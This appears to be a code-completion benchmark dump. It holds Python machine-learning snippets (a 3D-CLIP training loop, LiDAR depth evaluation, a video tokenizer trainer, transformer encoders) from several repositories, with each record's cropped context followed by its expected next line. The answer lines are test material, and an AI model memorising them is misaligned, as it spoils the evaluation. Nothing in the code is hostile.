log_stats = {**{f'train_{k}': v for k, v in train_stats.items()}, **{f'test_{k}': v for k, v in val_stats.items()}, **{f'test_lvis_{k}': v for k, v in val_lvis_stats.items()}, **{f'test_scanobjnn_{k}': v for k, v in val_scanobjnn_stats.items()}, 'epoch': epoch, 'best_acc1': best_acc1, 'best_epoch': best_epoch} # if utils.is_main_process() and args.wandb: if args.wandb and is_master(args): wandb.log(log_stats) # wandb.watch(model) if args.wandb and is_master(args): wandb.finish() def train(train_loader, clip_model, model, criterion, optimizer, scaler, scheduler, epoch, args): batch_time = AverageMeter('Time', ':6.2f') data_time = AverageMeter('Data', ':6.2f') mem = AverageMeter('Mem (GB)', ':6.1f') metric_names = models.get_metric_names(args.model) iters_per_epoch = len(train_loader) // args.update_freq metrics = OrderedDict([(name, AverageMeter(name, ':.2e')) for name in metric_names]) progress = ProgressMeter( iters_per_epoch, [batch_time, data_time, mem, *metrics.values()], prefix="Epoch: [{}]".format(epoch)) # switch to train mode model.train() end = time.time() for data_iter, inputs in enumerate(train_loader): optim_iter = data_iter // args.update_freq step = epoch * iters_per_epoch + optim_iter # global training iteration if not args.skip_scheduler: scheduler(step) # measure data loading time data_time.update(time.time() - end) texts = inputs[3] pc = inputs[4] image = inputs[5] rgb = inputs[6] use_image = inputs[2].reshape(-1) loss_masks = use_image.float() feature = torch.cat((pc, rgb), dim=-1) if not args.use_embed: logging.info('=> encoding captions') texts, image = compute_embedding(clip_model, texts, image) inputs = [feature, texts, image] # to device inputs = [tensor.to(device=args.device, non_blocking=True) for tensor in inputs] if args.enable_deepspeed: model.zero_grad() model.micro_steps = 0 else: optimizer.zero_grad() # compute output with amp.autocast(enabled=not args.disable_amp): outputs = model(*inputs) loss_dict = criterion(outputs, loss_masks) loss = loss_dict['loss'] loss /= args.update_freq if not math.isfinite(loss.item()): logging.info(f"Loss is {loss.item()}, stopping training") sys.exit(1) if scaler is not None: scaler.scale(loss).backward() if args.grad_clip_norm is not None: scaler.unscale_(optimizer) torch.nn.utils.clip_grad_norm_(model.parameters(), args.grad_clip_norm, norm_type=2.0) if (data_iter + 1) % args.update_freq != 0: continue # compute gradient and do SGD step scaler.step(optimizer) scaler.update() # model.zero_grad(set_to_none=True) elif args.enable_deepspeed: model.backward(loss) model.step() else: loss.backward() if args.grad_clip_norm is not None: torch.nn.utils.clip_grad_norm_(model.parameters(), args.grad_clip_norm, norm_type=2.0) optimizer.step() # clamp logit scale to [0, 100] utils.get_model(model).logit_scale.data.clamp_(0, 4.6052) logit_scale = utils.get_model(model).logit_scale.exp().item() for k in loss_dict: metrics[k].update(loss_dict[k].item(), args.batch_size) # measure elapsed time batch_time.update(time.time() - end) end = time.time() mem.update(torch.cuda.max_memory_allocated() // 1e9) if optim_iter % args.print_freq == 0: if args.enable_deepspeed:
# from data.datasets import customized_collate_fn best_acc1 = 0 def random_seed(seed=42, rank=0): torch.manual_seed(seed + rank) np.random.seed(seed + rank) random.seed(seed + rank) def compute_embedding(clip_model, texts, image): text_embed_all = [] for i in range(texts.shape[0]): text_for_one_sample = texts[i] text_embed = clip_model.encode_text(text_for_one_sample) text_embed = text_embed / text_embed.norm(dim=-1, keepdim=True) text_embed = text_embed.mean(dim=0) text_embed_all.append(text_embed) texts = torch.stack(text_embed_all) image = clip_model.encode_image(image) image = image / image.norm(dim=-1, keepdim=True) texts = texts.clone().detach() image = image.clone().detach() return texts, image def main(args): args, ds_init = parse_args(args) global best_acc1 if torch.cuda.is_available(): torch.backends.cuda.matmul.allow_tf32 = True torch.backends.cudnn.benchmark = True torch.backends.cudnn.deterministic = False torch.backends.cudnn.allow_tf32 = True # get the name of the experiments if args.name is None: args.name = '-'.join([ datetime.now().strftime("%Y_%m_%d-%H_%M_%S"), f"model_{args.model}", f"lr_{args.lr}", f"b_{args.batch_size}", f"j_{args.workers}", f"p_{args.precision}", ]) else: args.name = '-'.join([ args.name, datetime.now().strftime("%Y_%m_%d-%H") ]) if ds_init is not None: dsconfg_path = os.path.join(os.getcwd(), "dsconfig", args.name) os.makedirs(dsconfg_path, exist_ok=True) create_deepspeed_config(args) # fix the seed for reproducibility # random_seed(args.seed, args.rank) # discover initial world args early so we can log properly args.distributed = False args.local_rank, args.rank, args.world_size = world_info_from_env() args.log_path = None if is_master(args, local=args.log_local): log_base_path = os.path.join(args.logs, args.name) os.makedirs(log_base_path, exist_ok=True) log_filename = f'out-{args.rank}' if args.log_local else 'out.log' args.log_path = os.path.join(log_base_path, log_filename) if os.path.exists(args.log_path): logging.error("Experiment already exists. Use --name {} to specify a new experiment.") return -1 # Set logger args.log_level = logging.DEBUG if args.debug else logging.INFO setup_logging(args.log_path, args.log_level) # fully initialize distributed device environment device = init_distributed_device(args) if args.wandb and is_master(args): assert wandb is not None, 'Please install wandb.' logging.debug('Starting wandb.') wandb.init(project=args.wandb_project_name, name=args.name, notes=args.wandb_notes, config=vars(args), settings=wandb.Settings(start_method="fork")) if args.precision == 'fp16': logging.warning( 'It is recommended to use AMP mixed-precision instead of FP16. ' 'FP16 support needs further verification and tuning, especially for train.') elif args.distributed: logging.info( f'Running in distributed mode with multiple processes. Device: {args.device}.' f'Process (global: {args.rank}, local {args.local_rank}), total {args.world_size}.') else: logging.info(f'Running with a single process. Device {args.device}.') random_seed(args.seed, 0) logging.info("=> create clip teacher...") # It is recommended to download clip model in advance and then load from the local clip_model, _, _ = open_clip.create_model_and_transforms(model_name=args.clip_model, pretrained=args.pretrained) clip_model.to(device) # create model logging.info("=> creating model: {}".format(args.model)) model = getattr(models, args.model)(args=args) model.to(device) model_without_ddp = model # evaluate model if args.evaluate_3d: logging.info("=> evaluating...") zero_stats, zero_stats_lvis, zero_results_scanobjnn = test_zeroshot_3d(args, model, clip_model) logging.info(zero_stats) logging.info(zero_stats_lvis) logging.info(zero_results_scanobjnn) return # fix the seed for reproducibility random_seed(args.seed, args.rank) # print number of parameters total_n_parameters = sum(p.numel() for p in model.parameters()) logging.info(f'number of total params: {total_n_parameters}') n_parameters = sum(p.numel() for p in model.parameters() if p.requires_grad) logging.info(f'number of params with requires_grad: {n_parameters}') if is_master(args): logging.info("Model:") logging.info(f"{str(model)}") logging.info("Params:") params_file = os.path.join(args.logs, args.name, "params.txt") with open(params_file, "w") as f: for name in sorted(vars(args)): val = getattr(args, name) logging.info(f" {name}: {val}") f.write(f"{name}: {val}\n") # if args.distributed and not args.horovod: if args.distributed: if args.use_bn_sync: model = torch.nn.SyncBatchNorm.convert_sync_batchnorm(model) if not args.enable_deepspeed: ddp_args = {} if args.ddp_static_graph: # this doesn't exist in older PyTorch, arg only added if enabled ddp_args['static_graph'] = True model = torch.nn.parallel.DistributedDataParallel(model, device_ids=[device], **ddp_args) model_without_ddp = model.module # create optimizer and scaler optimizer = None scaler = None if args.pretrain_dataset_name is not None: if not args.enable_deepspeed: scaler = amp.GradScaler() if args.precision == "amp" else None optimizer = create_optimizer(args, model_without_ddp) else: scaler = None if args.optimizer != "lamb" and args.optimizer != "adamw": optimizer, optimizer_params = create_optimizer( args, model_without_ddp, return_params=True) model, optimizer, _, _ = ds_init( args=args, model=model, optimizer=optimizer, model_parameters=optimizer_params, dist_init_required=not args.distributed, ) else: optimizer_params = get_all_parameters(args, model) model, optimizer, _, _ = ds_init( args=args, model=model, model_parameters=optimizer_params, dist_init_required=not args.distributed, ) if is_master(args, local=args.log_local): logging.info(f"num of optimizer.param_groups: {len(optimizer.param_groups)}") # define loss function (criterion) criterion = models.get_filter_loss(args).to(device) # optionally resume from a checkpoint start_epoch = 0 if args.resume is not None: if args.enable_deepspeed: if os.path.exists(args.resume): all_checkpoints = glob.glob(os.path.join(args.resume, 'epoch_*')) latest_ckpt = -1 for ckpt in all_checkpoints: t = ckpt.split('/')[-1].split('_')[1] if t.isdigit(): latest_ckpt = max(int(t), latest_ckpt) if latest_ckpt >= 0: start_epoch = latest_ckpt _, client_states = model.load_checkpoint(args.resume, tag='epoch_%d' % latest_ckpt) #tag=f"epoch_{completed_epoch}" # best_acc1 = checkpoint['best_acc1'] best_acc1 = client_states['best_acc1'] # best_acc1 = 75.485 logging.info(f"=> resuming checkpoint '{args.resume}' (epoch {latest_ckpt})") else: logging.info("=> no checkpoint found at '{}'".format(args.resume)) else: logging.info("=> '{}' is not existing!".format(args.resume)) else: if os.path.isfile(args.resume): checkpoint = torch.load(args.resume, map_location='cpu') if 'epoch' in checkpoint: # resuming a train checkpoint w/ epoch and optimizer state start_epoch = checkpoint["epoch"] sd = checkpoint["state_dict"] if not args.distributed and next(iter(sd.items()))[0].startswith('module'): sd = {k[len('module.'):]: v for k, v in sd.items()} model.load_state_dict(sd) if optimizer is not None: optimizer.load_state_dict(checkpoint["optimizer"]) if scaler is not None and 'scaler' in checkpoint: scaler.load_state_dict(checkpoint['scaler']) logging.info(f"=> resuming checkpoint '{args.resume}' (epoch {start_epoch})") best_acc1 = checkpoint['best_acc1'] else: # loading a bare (model only) checkpoint for fine-tune or evaluation model.load_state_dict(checkpoint) logging.info(f"=> loaded checkpoint '{args.resume}' (epoch {start_epoch})") else: logging.info("=> no checkpoint found at '{}'".format(args.resume)) logging.info("=> creating dataset") tokenizer = SimpleTokenizer() normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) train_transform = transforms.Compose([ transforms.RandomResizedCrop(224, scale=(0.5, 1.0)), transforms.ToTensor(), normalize ]) train_dataset = get_dataset(train_transform, tokenizer, args, 'train') val_dataset = get_dataset(None, tokenizer, args, 'val') val_dataset_lvis = get_dataset(None, tokenizer, args, 'val_lvis') val_dataset_scanobjnn = get_dataset(None, tokenizer, args, 'val_scanobjnn') if args.distributed: train_sampler = torch.utils.data.distributed.DistributedSampler(train_dataset) val_sampler = torch.utils.data.distributed.DistributedSampler(val_dataset) val_lvis_sampler = torch.utils.data.distributed.DistributedSampler(val_dataset_lvis) val_scanobjnn_sampler = torch.utils.data.distributed.DistributedSampler(val_dataset_scanobjnn) else: train_sampler = None val_sampler = None val_lvis_sampler = None val_scanobjnn_sampler = None train_loader = torch.utils.data.DataLoader( train_dataset, batch_size=args.batch_size, shuffle=(train_sampler is None), num_workers=args.workers, pin_memory=True, sampler=train_sampler, drop_last=True, collate_fn=customized_collate_fn) val_loader = torch.utils.data.DataLoader( val_dataset, batch_size=args.batch_size, shuffle=(val_sampler is None), num_workers=args.workers, pin_memory=True, sampler=val_sampler, drop_last=False) val_lvis_loader = torch.utils.data.DataLoader( val_dataset_lvis, batch_size=args.batch_size, shuffle=(val_lvis_sampler is None), num_workers=args.workers, pin_memory=True, sampler=val_lvis_sampler, drop_last=False) val_scanobjnn_loader = torch.utils.data.DataLoader( val_dataset_scanobjnn, batch_size=args.batch_size, shuffle=(val_scanobjnn_sampler is None), num_workers=args.workers, pin_memory=True, sampler=val_scanobjnn_sampler, drop_last=False) # create scheduler if train scheduler = None if optimizer is not None: total_steps = len(train_loader) * args.epochs if is_master(args): logging.info(f"total_steps: {total_steps}") scheduler = warmup_cosine_lr(optimizer, args, total_steps) logging.info(f"beginning training") best_epoch = -1 for epoch in range(start_epoch, args.epochs): if is_master(args): logging.info(f'Start epoch {epoch}') if args.distributed: train_sampler.set_epoch(epoch) completed_epoch = epoch + 1 train_stats = train(train_loader, clip_model, model, criterion, optimizer, scaler, scheduler, epoch, args) val_stats = {"acc1": -1} scaler_state = None if scaler is None else scaler.state_dict() with amp.autocast(enabled=not args.disable_amp): val_stats = test_zeroshot_3d_core(val_loader, args.validate_dataset_name, model, clip_model, tokenizer, args, "modelnet") logging.info(val_stats) val_lvis_stats = test_zeroshot_3d_core(val_lvis_loader, args.validate_dataset_name_lvis, model, clip_model, tokenizer, args, "lvis") logging.info(val_lvis_stats) val_scanobjnn_stats = test_zeroshot_3d_core(val_scanobjnn_loader, args.validate_dataset_name_scanobjnn, model, clip_model, tokenizer, args, 'scanobjnn') logging.info(val_scanobjnn_stats) acc1 = val_lvis_stats["acc1"] is_best = acc1 > best_acc1 if is_best: best_epoch = epoch best_acc1 = max(acc1, best_acc1) # Saving checkpoints. # is_master(args) can not be here while using deepspped, otherwise ckpt can not be saved if args.logs and args.logs.lower() != 'none' and args.enable_deepspeed: deepspeed_checkpoint_path = os.path.join(args.logs, args.name, "checkpoints") if completed_epoch == args.epochs or ( args.save_frequency > 0 and (completed_epoch % args.save_frequency) == 0 ): client_state = {'epoch': completed_epoch, 'best_acc1': best_acc1,} model.save_checkpoint(save_dir=deepspeed_checkpoint_path, tag="epoch_%s" % str(completed_epoch), client_state=client_state) log_stats = {**{f'train_{k}': v for k, v in train_stats.items()}, **{f'test_{k}': v for k, v in val_stats.items()}, **{f'test_lvis_{k}': v for k, v in val_lvis_stats.items()}, **{f'test_scanobjnn_{k}': v for k, v in val_scanobjnn_stats.items()}, 'epoch': epoch, 'best_acc1': best_acc1, 'best_epoch': best_epoch} # if utils.is_main_process() and args.wandb: if args.wandb and is_master(args): wandb.log(log_stats) # wandb.watch(model) if args.wandb and is_master(args): wandb.finish() def train(train_loader, clip_model, model, criterion, optimizer, scaler, scheduler, epoch, args): batch_time = AverageMeter('Time', ':6.2f') data_time = AverageMeter('Data', ':6.2f') mem = AverageMeter('Mem (GB)', ':6.1f') metric_names = models.get_metric_names(args.model) iters_per_epoch = len(train_loader) // args.update_freq metrics = OrderedDict([(name, AverageMeter(name, ':.2e')) for name in metric_names]) progress = ProgressMeter( iters_per_epoch, [batch_time, data_time, mem, *metrics.values()], prefix="Epoch: [{}]".format(epoch)) # switch to train mode model.train() end = time.time() for data_iter, inputs in enumerate(train_loader): optim_iter = data_iter // args.update_freq step = epoch * iters_per_epoch + optim_iter # global training iteration if not args.skip_scheduler: scheduler(step) # measure data loading time data_time.update(time.time() - end) texts = inputs[3] pc = inputs[4] image = inputs[5] rgb = inputs[6] use_image = inputs[2].reshape(-1) loss_masks = use_image.float() feature = torch.cat((pc, rgb), dim=-1) if not args.use_embed: logging.info('=> encoding captions') texts, image = compute_embedding(clip_model, texts, image) inputs = [feature, texts, image] # to device inputs = [tensor.to(device=args.device, non_blocking=True) for tensor in inputs] if args.enable_deepspeed: model.zero_grad() model.micro_steps = 0 else: optimizer.zero_grad() # compute output with amp.autocast(enabled=not args.disable_amp): outputs = model(*inputs) loss_dict = criterion(outputs, loss_masks) loss = loss_dict['loss'] loss /= args.update_freq if not math.isfinite(loss.item()): logging.info(f"Loss is {loss.item()}, stopping training") sys.exit(1) if scaler is not None: scaler.scale(loss).backward() if args.grad_clip_norm is not None: scaler.unscale_(optimizer) torch.nn.utils.clip_grad_norm_(model.parameters(), args.grad_clip_norm, norm_type=2.0) if (data_iter + 1) % args.update_freq != 0: continue # compute gradient and do SGD step scaler.step(optimizer) scaler.update() # model.zero_grad(set_to_none=True) elif args.enable_deepspeed: model.backward(loss) model.step() else: loss.backward() if args.grad_clip_norm is not None: torch.nn.utils.clip_grad_norm_(model.parameters(), args.grad_clip_norm, norm_type=2.0) optimizer.step() # clamp logit scale to [0, 100] utils.get_model(model).logit_scale.data.clamp_(0, 4.6052) logit_scale = utils.get_model(model).logit_scale.exp().item() for k in loss_dict: metrics[k].update(loss_dict[k].item(), args.batch_size) # measure elapsed time batch_time.update(time.time() - end) end = time.time() mem.update(torch.cuda.max_memory_allocated() // 1e9) if optim_iter % args.print_freq == 0: if args.enable_deepspeed:
loss_scale, grad_nrom = get_loss_scale_for_deepspeed(model)
12
2023-10-10 15:15:28+00:00
12k
umautobots/LONER
analysis/compute_l1_depth.py
[ { "identifier": "Pose", "path": "src/common/pose.py", "snippet": "class Pose:\n \"\"\" Class to define a possibly optimizable pose.\n Poses are represented as a 7-tuple [x,y,z,q_x,q_y,q_z,q_w]\n \"\"\"\n\n ## Constructor\n # @param transformation_matrix: 4D Homogenous transformation matri...
import argparse import os import pathlib import pickle import re import sys import torch import pandas as pd import rosbag import torch.multiprocessing as mp import torch.nn.functional import open3d as o3d from tqdm import tqdm from render_utils import * from src.common.pose import Pose from src.common.pose_utils import WorldCube, build_poses_from_df from src.models.losses import * from src.models.model_tcnn import Model, OccupancyGridModel from src.models.ray_sampling import OccGridRaySampler from src.common.sensors import LidarScan from src.common.ray_utils import LidarRayDirections from examples.run_loner import build_scan_from_msg
8,860
#!/usr/bin/env python # coding: utf-8 PROJECT_ROOT = os.path.abspath(os.path.join( os.path.dirname(__file__), os.pardir)) sys.path.append(PROJECT_ROOT) sys.path.append(PROJECT_ROOT + "/src") CHUNK_SIZE=2**12 np.random.seed(0) def compute_l1_depth(lidar_pose, ray_directions: LidarRayDirections, model_data, render_color: bool = False): with torch.no_grad(): model, ray_sampler, world_cube, ray_range, device = model_data scale_factor = world_cube.scale_factor size = ray_directions.lidar_scan.ray_directions.shape[1] depth_fine = torch.zeros((size,1), dtype=torch.float32).view(-1, 1) for chunk_idx in range(ray_directions.num_chunks): eval_rays = ray_directions.fetch_chunk_rays(chunk_idx, lidar_pose, world_cube, ray_range) eval_rays = eval_rays.to(device) results = model(eval_rays, ray_sampler, scale_factor, testing=True, return_variance=True, camera=render_color) depth_fine[chunk_idx * CHUNK_SIZE: (chunk_idx+1) * CHUNK_SIZE, :] = results['depth_fine'].unsqueeze(1) * scale_factor gt_depth = ray_directions.lidar_scan.distances good_idx = torch.logical_and(gt_depth.flatten() > ray_range[0], gt_depth.flatten() < ray_range[1] - 0.25) good_depth = depth_fine[good_idx] good_gt_depth = gt_depth[good_idx.flatten()] return torch.nn.functional.l1_loss(good_depth.cpu().flatten(), good_gt_depth.cpu().flatten()) def _gpu_worker(job_queue, result_queue, model_data): while not job_queue.empty(): data = job_queue.get() if data is None: result_queue.put(None) break _, pose, ray_directions = data l1 = compute_l1_depth(pose, ray_directions, model_data, False) result_queue.put((l1, pose.clone(),)) while True: continue # We're only going to open the bag once bag = None if __name__ == "__main__": mp.set_start_method('spawn') parser = argparse.ArgumentParser(description="Render ground truth maps using trained nerf models") parser.add_argument("experiment_directory", nargs="+", type=str, help="folder in outputs with all results") parser.add_argument("--single_threaded", default=False, action="store_true") parser.add_argument("--ckpt_id", type=str, default=None) parser.add_argument("--num_frames", type=int, default=25) parser.add_argument("--use_est_poses", action='store_true', default=False) args = parser.parse_args() for exp_dir in args.experiment_directory: checkpoints = os.listdir(f"{exp_dir}/checkpoints") if args.ckpt_id is None: #https://stackoverflow.com/a/2669120 convert = lambda text: int(text) if text.isdigit() else text alphanum_key = lambda key: [ convert(c) for c in re.split('([0-9]+)', key) ] checkpoint = sorted(checkpoints, key = alphanum_key)[-1] elif args.ckpt_id=='final': checkpoint = f"final.tar" else: checkpoint = f"ckpt_{args.ckpt_id}.tar" checkpoint_path = pathlib.Path(f"{exp_dir}/checkpoints/{checkpoint}") # override any params loaded from yaml with open(f"{exp_dir}/full_config.pkl", 'rb') as f: full_config = pickle.load(f) cfg = full_config.mapper.optimizer.model_config ray_range = cfg.data.ray_range torch.backends.cudnn.enabled = True _DEVICE = torch.device(full_config.mapper.device) torch.set_default_tensor_type('torch.cuda.FloatTensor') if not checkpoint_path.exists(): print(f'Checkpoint {checkpoint_path} does not exist. Quitting.') exit() occ_model_config = full_config.mapper.optimizer.model_config.model.occ_model assert isinstance(occ_model_config, dict), f"OGM enabled but model.occ_model is empty" scale_factor = full_config.world_cube.scale_factor.to(_DEVICE) shift = full_config.world_cube.shift
#!/usr/bin/env python # coding: utf-8 PROJECT_ROOT = os.path.abspath(os.path.join( os.path.dirname(__file__), os.pardir)) sys.path.append(PROJECT_ROOT) sys.path.append(PROJECT_ROOT + "/src") CHUNK_SIZE=2**12 np.random.seed(0) def compute_l1_depth(lidar_pose, ray_directions: LidarRayDirections, model_data, render_color: bool = False): with torch.no_grad(): model, ray_sampler, world_cube, ray_range, device = model_data scale_factor = world_cube.scale_factor size = ray_directions.lidar_scan.ray_directions.shape[1] depth_fine = torch.zeros((size,1), dtype=torch.float32).view(-1, 1) for chunk_idx in range(ray_directions.num_chunks): eval_rays = ray_directions.fetch_chunk_rays(chunk_idx, lidar_pose, world_cube, ray_range) eval_rays = eval_rays.to(device) results = model(eval_rays, ray_sampler, scale_factor, testing=True, return_variance=True, camera=render_color) depth_fine[chunk_idx * CHUNK_SIZE: (chunk_idx+1) * CHUNK_SIZE, :] = results['depth_fine'].unsqueeze(1) * scale_factor gt_depth = ray_directions.lidar_scan.distances good_idx = torch.logical_and(gt_depth.flatten() > ray_range[0], gt_depth.flatten() < ray_range[1] - 0.25) good_depth = depth_fine[good_idx] good_gt_depth = gt_depth[good_idx.flatten()] return torch.nn.functional.l1_loss(good_depth.cpu().flatten(), good_gt_depth.cpu().flatten()) def _gpu_worker(job_queue, result_queue, model_data): while not job_queue.empty(): data = job_queue.get() if data is None: result_queue.put(None) break _, pose, ray_directions = data l1 = compute_l1_depth(pose, ray_directions, model_data, False) result_queue.put((l1, pose.clone(),)) while True: continue # We're only going to open the bag once bag = None if __name__ == "__main__": mp.set_start_method('spawn') parser = argparse.ArgumentParser(description="Render ground truth maps using trained nerf models") parser.add_argument("experiment_directory", nargs="+", type=str, help="folder in outputs with all results") parser.add_argument("--single_threaded", default=False, action="store_true") parser.add_argument("--ckpt_id", type=str, default=None) parser.add_argument("--num_frames", type=int, default=25) parser.add_argument("--use_est_poses", action='store_true', default=False) args = parser.parse_args() for exp_dir in args.experiment_directory: checkpoints = os.listdir(f"{exp_dir}/checkpoints") if args.ckpt_id is None: #https://stackoverflow.com/a/2669120 convert = lambda text: int(text) if text.isdigit() else text alphanum_key = lambda key: [ convert(c) for c in re.split('([0-9]+)', key) ] checkpoint = sorted(checkpoints, key = alphanum_key)[-1] elif args.ckpt_id=='final': checkpoint = f"final.tar" else: checkpoint = f"ckpt_{args.ckpt_id}.tar" checkpoint_path = pathlib.Path(f"{exp_dir}/checkpoints/{checkpoint}") # override any params loaded from yaml with open(f"{exp_dir}/full_config.pkl", 'rb') as f: full_config = pickle.load(f) cfg = full_config.mapper.optimizer.model_config ray_range = cfg.data.ray_range torch.backends.cudnn.enabled = True _DEVICE = torch.device(full_config.mapper.device) torch.set_default_tensor_type('torch.cuda.FloatTensor') if not checkpoint_path.exists(): print(f'Checkpoint {checkpoint_path} does not exist. Quitting.') exit() occ_model_config = full_config.mapper.optimizer.model_config.model.occ_model assert isinstance(occ_model_config, dict), f"OGM enabled but model.occ_model is empty" scale_factor = full_config.world_cube.scale_factor.to(_DEVICE) shift = full_config.world_cube.shift
world_cube = WorldCube(scale_factor, shift).to(_DEVICE)
1
2023-10-10 16:46:35+00:00
12k
lucidrains/magvit2-pytorch
magvit2_pytorch/trainer.py
[ { "identifier": "get_optimizer", "path": "magvit2_pytorch/optimizer.py", "snippet": "def get_optimizer(\n params,\n lr = 1e-4,\n wd = 1e-2,\n betas = (0.9, 0.99),\n eps = 1e-8,\n filter_by_requires_grad = False,\n group_wd_params = True,\n **kwargs\n):\n if filter_by_requires_...
from pathlib import Path from functools import partial from contextlib import contextmanager, nullcontext from torch import nn from torch.nn import Module from torch.utils.data import Dataset, random_split from torch.optim.lr_scheduler import LambdaLR, LRScheduler from beartype import beartype from beartype.typing import Optional, Literal, Union, Type from magvit2_pytorch.optimizer import get_optimizer from magvit2_pytorch.magvit2_pytorch import VideoTokenizer from magvit2_pytorch.data import ( VideoDataset, ImageDataset, DataLoader, video_tensor_to_gif ) from accelerate import Accelerator from accelerate.utils import DistributedDataParallelKwargs from einops import rearrange from ema_pytorch import EMA from pytorch_custom_utils import auto_unwrap_model import torch import pytorch_warmup as warmup
8,751
# constants VideosOrImagesLiteral = Union[ Literal['videos'], Literal['images'] ] ConstantLRScheduler = partial(LambdaLR, lr_lambda = lambda step: 1.) DEFAULT_DDP_KWARGS = DistributedDataParallelKwargs( find_unused_parameters = True ) # helpers def exists(v): return v is not None def cycle(dl): while True: for data in dl: yield data # class @auto_unwrap_model() class VideoTokenizerTrainer: @beartype def __init__( self,
# constants VideosOrImagesLiteral = Union[ Literal['videos'], Literal['images'] ] ConstantLRScheduler = partial(LambdaLR, lr_lambda = lambda step: 1.) DEFAULT_DDP_KWARGS = DistributedDataParallelKwargs( find_unused_parameters = True ) # helpers def exists(v): return v is not None def cycle(dl): while True: for data in dl: yield data # class @auto_unwrap_model() class VideoTokenizerTrainer: @beartype def __init__( self,
model: VideoTokenizer,
1
2023-10-10 16:51:24+00:00
12k
alibaba-damo-academy/FunCodec
funcodec/modules/normed_modules/transformer.py
[ { "identifier": "AbsEncoder", "path": "funcodec/models/encoder/abs_encoder.py", "snippet": "class AbsEncoder(torch.nn.Module, ABC):\n @abstractmethod\n def output_size(self) -> int:\n raise NotImplementedError\n\n @abstractmethod\n def forward(\n self,\n xs_pad: torch.Te...
from typing import List from typing import Optional from typing import Tuple from typeguard import check_argument_types from funcodec.models.encoder.abs_encoder import AbsEncoder from funcodec.modules.attention import MultiHeadedAttention from funcodec.modules.embedding import PositionalEncoding from funcodec.modules.layer_norm import LayerNorm from funcodec.modules.multi_layer_conv import Conv1dLinear from funcodec.modules.multi_layer_conv import MultiLayeredConv1d from funcodec.modules.nets_utils import make_pad_mask from funcodec.modules.positionwise_feed_forward import ( PositionwiseFeedForward, # noqa: H301 ) from funcodec.modules.repeat import repeat from funcodec.modules.subsampling import Conv2dSubsampling from funcodec.modules.subsampling import Conv2dSubsampling2 from funcodec.modules.subsampling import Conv2dSubsampling6 from funcodec.modules.subsampling import Conv2dSubsampling8 from funcodec.modules.subsampling import TooShortUttError from funcodec.modules.subsampling import check_short_utt from funcodec.models.encoder.transformer_encoder import EncoderLayer import torch
9,406
class TransformerEncoder(torch.nn.Module): """Transformer encoder module. Args: input_size: input dim output_size: dimension of attention attention_heads: the number of heads of multi head attention linear_units: the number of units of position-wise feed forward num_blocks: the number of decoder blocks dropout_rate: dropout rate attention_dropout_rate: dropout rate in attention positional_dropout_rate: dropout rate after adding positional encoding input_layer: input layer type pos_enc_class: PositionalEncoding or ScaledPositionalEncoding normalize_before: whether to use layer_norm before the first block concat_after: whether to concat attention layer's input and output if True, additional linear will be applied. i.e. x -> x + linear(concat(x, att(x))) if False, no additional linear will be applied. i.e. x -> x + att(x) positionwise_layer_type: linear of conv1d positionwise_conv_kernel_size: kernel size of positionwise conv1d layer padding_idx: padding_idx for input_layer=embed """ def __init__( self, input_size: int, output_size: int = 512, attention_heads: int = 4, linear_units: int = 2048, num_blocks: int = 4, dropout_rate: float = 0.0, positional_dropout_rate: float = 0.0, attention_dropout_rate: float = 0.0, input_layer: Optional[str] = None, pos_enc_class=PositionalEncoding, normalize_before: bool = True, concat_after: bool = False, positionwise_layer_type: str = "linear", positionwise_conv_kernel_size: int = 1, padding_idx: int = -1, causal_mode: str = "None", skip: bool = False, ): assert check_argument_types() super().__init__() self._output_size = output_size self.causal_mode = causal_mode self.skip = skip if input_layer == "linear": self.embed = torch.nn.Sequential( torch.nn.Linear(input_size, output_size), torch.nn.LayerNorm(output_size), torch.nn.Dropout(dropout_rate), torch.nn.ReLU(), pos_enc_class(output_size, positional_dropout_rate), ) elif input_layer == "conv2d": self.embed = Conv2dSubsampling(input_size, output_size, dropout_rate) elif input_layer == "conv2d2": self.embed = Conv2dSubsampling2(input_size, output_size, dropout_rate) elif input_layer == "conv2d6": self.embed = Conv2dSubsampling6(input_size, output_size, dropout_rate) elif input_layer == "conv2d8":
class TransformerEncoder(torch.nn.Module): """Transformer encoder module. Args: input_size: input dim output_size: dimension of attention attention_heads: the number of heads of multi head attention linear_units: the number of units of position-wise feed forward num_blocks: the number of decoder blocks dropout_rate: dropout rate attention_dropout_rate: dropout rate in attention positional_dropout_rate: dropout rate after adding positional encoding input_layer: input layer type pos_enc_class: PositionalEncoding or ScaledPositionalEncoding normalize_before: whether to use layer_norm before the first block concat_after: whether to concat attention layer's input and output if True, additional linear will be applied. i.e. x -> x + linear(concat(x, att(x))) if False, no additional linear will be applied. i.e. x -> x + att(x) positionwise_layer_type: linear of conv1d positionwise_conv_kernel_size: kernel size of positionwise conv1d layer padding_idx: padding_idx for input_layer=embed """ def __init__( self, input_size: int, output_size: int = 512, attention_heads: int = 4, linear_units: int = 2048, num_blocks: int = 4, dropout_rate: float = 0.0, positional_dropout_rate: float = 0.0, attention_dropout_rate: float = 0.0, input_layer: Optional[str] = None, pos_enc_class=PositionalEncoding, normalize_before: bool = True, concat_after: bool = False, positionwise_layer_type: str = "linear", positionwise_conv_kernel_size: int = 1, padding_idx: int = -1, causal_mode: str = "None", skip: bool = False, ): assert check_argument_types() super().__init__() self._output_size = output_size self.causal_mode = causal_mode self.skip = skip if input_layer == "linear": self.embed = torch.nn.Sequential( torch.nn.Linear(input_size, output_size), torch.nn.LayerNorm(output_size), torch.nn.Dropout(dropout_rate), torch.nn.ReLU(), pos_enc_class(output_size, positional_dropout_rate), ) elif input_layer == "conv2d": self.embed = Conv2dSubsampling(input_size, output_size, dropout_rate) elif input_layer == "conv2d2": self.embed = Conv2dSubsampling2(input_size, output_size, dropout_rate) elif input_layer == "conv2d6": self.embed = Conv2dSubsampling6(input_size, output_size, dropout_rate) elif input_layer == "conv2d8":
self.embed = Conv2dSubsampling8(input_size, output_size, dropout_rate)
12
2023-10-07 02:00:40+00:00
12k
longzw1997/Open-GroundingDino
models/GroundingDINO/transformer.py
[ { "identifier": "inverse_sigmoid", "path": "groundingdino/util/misc.py", "snippet": "def inverse_sigmoid(x, eps=1e-3):\n x = x.clamp(min=0, max=1)\n x1 = x.clamp(min=eps)\n x2 = (1 - x).clamp(min=eps)\n return torch.log(x1 / x2)" }, { "identifier": "BiAttentionBlock", "path": "mo...
